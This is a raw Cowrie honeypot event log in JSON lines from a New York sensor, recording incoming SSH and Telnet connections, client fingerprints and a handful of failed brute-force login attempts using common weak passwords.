{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:05.754651Z","src_ip":"176.65.132.254","session":"4ffd4211f2ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:06.043599Z","src_ip":"176.65.132.254","session":"4ffd4211f2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e15cf423096","protocol":"telnet","message":"New connection: 62.210.97.77:41792 (10.17.0.5:23) [session: 5e15cf423096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:06.049301Z"}
{"eventid":"cowrie.session.closed","duration":35.07715940475464,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:06.256600Z","src_ip":"62.210.97.77","session":"95ea4a313aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.8231897354126,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:06.736488Z","src_ip":"62.210.97.77","session":"c365bf541dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:07.152102Z","src_ip":"176.65.132.254","session":"4ffd4211f2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87b73474961","protocol":"telnet","message":"New connection: 65.60.27.33:36140 (10.17.0.5:23) [session: e87b73474961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:08.459110Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60226,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3933f8657b9","protocol":"telnet","message":"New connection: 62.210.97.77:60226 (10.17.0.5:23) [session: b3933f8657b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:09.259694Z"}
{"eventid":"cowrie.session.closed","duration":38.21412229537964,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:09.325021Z","src_ip":"62.210.97.77","session":"b23fe3976b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58664,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd11857ccf6d","protocol":"ssh","message":"New connection: 176.65.132.254:58664 (10.17.0.5:22) [session: fd11857ccf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:09.875611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:09.886046Z","src_ip":"176.65.132.254","session":"fd11857ccf6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:09.968653Z","src_ip":"176.65.132.254","session":"fd11857ccf6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60230,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89f1a288f43","protocol":"telnet","message":"New connection: 62.210.97.77:60230 (10.17.0.5:23) [session: a89f1a288f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:09.979881Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:10.240453Z","src_ip":"176.65.132.254","session":"fd11857ccf6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.4090359210968,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:10.505065Z","src_ip":"134.209.8.29","session":"c31ed648e597","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09516263008118,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:10.651588Z","src_ip":"62.210.97.77","session":"8d898f7bf3bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.855366706848145,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:11.254321Z","src_ip":"62.210.97.77","session":"fc133e7857d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:11.345838Z","src_ip":"176.65.132.254","session":"fd11857ccf6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.221482038497925,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:13.032938Z","src_ip":"62.210.97.77","session":"a26a9c56ec34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":1069,"dst_ip":"10.17.0.5","dst_port":22,"session":"40dbeffbebd5","protocol":"ssh","message":"New connection: 190.129.122.12:1069 (10.17.0.5:22) [session: 40dbeffbebd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:13.355636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:13.360903Z","src_ip":"190.129.122.12","session":"40dbeffbebd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:13.539025Z","src_ip":"190.129.122.12","session":"40dbeffbebd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58834,"dst_ip":"10.17.0.5","dst_port":22,"session":"180715fbe718","protocol":"ssh","message":"New connection: 176.65.132.254:58834 (10.17.0.5:22) [session: 180715fbe718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:13.799309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:13.805382Z","src_ip":"176.65.132.254","session":"180715fbe718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:13.887715Z","src_ip":"176.65.132.254","session":"180715fbe718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:14.143972Z","src_ip":"176.65.132.254","session":"180715fbe718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu123456","message":"login attempt [Ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:14.263812Z","src_ip":"190.129.122.12","session":"40dbeffbebd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:15.249324Z","src_ip":"176.65.132.254","session":"180715fbe718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.93147110939026,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:15.306069Z","src_ip":"62.210.97.77","session":"5158e2aaaab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:15.444031Z","src_ip":"190.129.122.12","session":"40dbeffbebd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.86640930175781,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:16.178908Z","src_ip":"62.210.97.77","session":"ab25ba08f09e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46354,"dst_ip":"10.17.0.5","dst_port":23,"session":"7996a43b463f","protocol":"telnet","message":"New connection: 165.232.131.181:46354 (10.17.0.5:23) [session: 7996a43b463f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:16.848788Z"}
{"eventid":"cowrie.session.closed","duration":42.27961087226868,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:18.090393Z","src_ip":"38.54.119.93","session":"4fd833988a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58848,"dst_ip":"10.17.0.5","dst_port":22,"session":"22364ad4f81c","protocol":"ssh","message":"New connection: 176.65.132.254:58848 (10.17.0.5:22) [session: 22364ad4f81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:18.122557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:18.127834Z","src_ip":"176.65.132.254","session":"22364ad4f81c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:18.211385Z","src_ip":"176.65.132.254","session":"22364ad4f81c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:18.471509Z","src_ip":"176.65.132.254","session":"22364ad4f81c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.25431442260742,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:18.506070Z","src_ip":"38.54.119.93","session":"3cb6ae9aec2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34634,"dst_ip":"159.203.135.109","dst_port":23,"session":"43339907b274","protocol":"telnet","message":"New connection: 134.209.8.29:34634 (159.203.135.109:23) [session: 43339907b274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:19.149396Z"}
{"eventid":"cowrie.session.closed","duration":33.450687408447266,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:19.163368Z","src_ip":"62.210.97.77","session":"de7238e8a147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57166,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ae822d9ca19","protocol":"telnet","message":"New connection: 62.210.97.77:57166 (10.17.0.5:23) [session: 7ae822d9ca19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:19.366518Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:19.563692Z","src_ip":"176.65.132.254","session":"22364ad4f81c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99400234222412,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:19.962025Z","src_ip":"62.210.97.77","session":"6ab254ad226b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.53346824645996,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:20.839524Z","src_ip":"62.210.97.77","session":"25cc0ac53498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57176,"dst_ip":"10.17.0.5","dst_port":23,"session":"4411e297915c","protocol":"telnet","message":"New connection: 62.210.97.77:57176 (10.17.0.5:23) [session: 4411e297915c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:21.722579Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58110,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e916fd3cc60","protocol":"ssh","message":"New connection: 176.65.132.254:58110 (10.17.0.5:22) [session: 3e916fd3cc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:22.269443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:22.274717Z","src_ip":"176.65.132.254","session":"3e916fd3cc60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:22.358454Z","src_ip":"176.65.132.254","session":"3e916fd3cc60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:22.604241Z","src_ip":"176.65.132.254","session":"3e916fd3cc60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:23.689071Z","src_ip":"176.65.132.254","session":"3e916fd3cc60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57186,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8b5b7d717a","protocol":"telnet","message":"New connection: 62.210.97.77:57186 (10.17.0.5:23) [session: 3a8b5b7d717a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:24.109200Z"}
{"eventid":"cowrie.session.closed","duration":46.282103538513184,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:24.757844Z","src_ip":"38.54.119.93","session":"28b09d8d4006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.13185906410217,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:25.274696Z","src_ip":"62.210.97.77","session":"5ad8360beac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.6228814125061,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:25.371263Z","src_ip":"65.60.27.33","session":"6c5b6accc353","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.65747094154358,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:25.378694Z","src_ip":"65.60.27.33","session":"082d62a474b6","protocol":"telnet"}
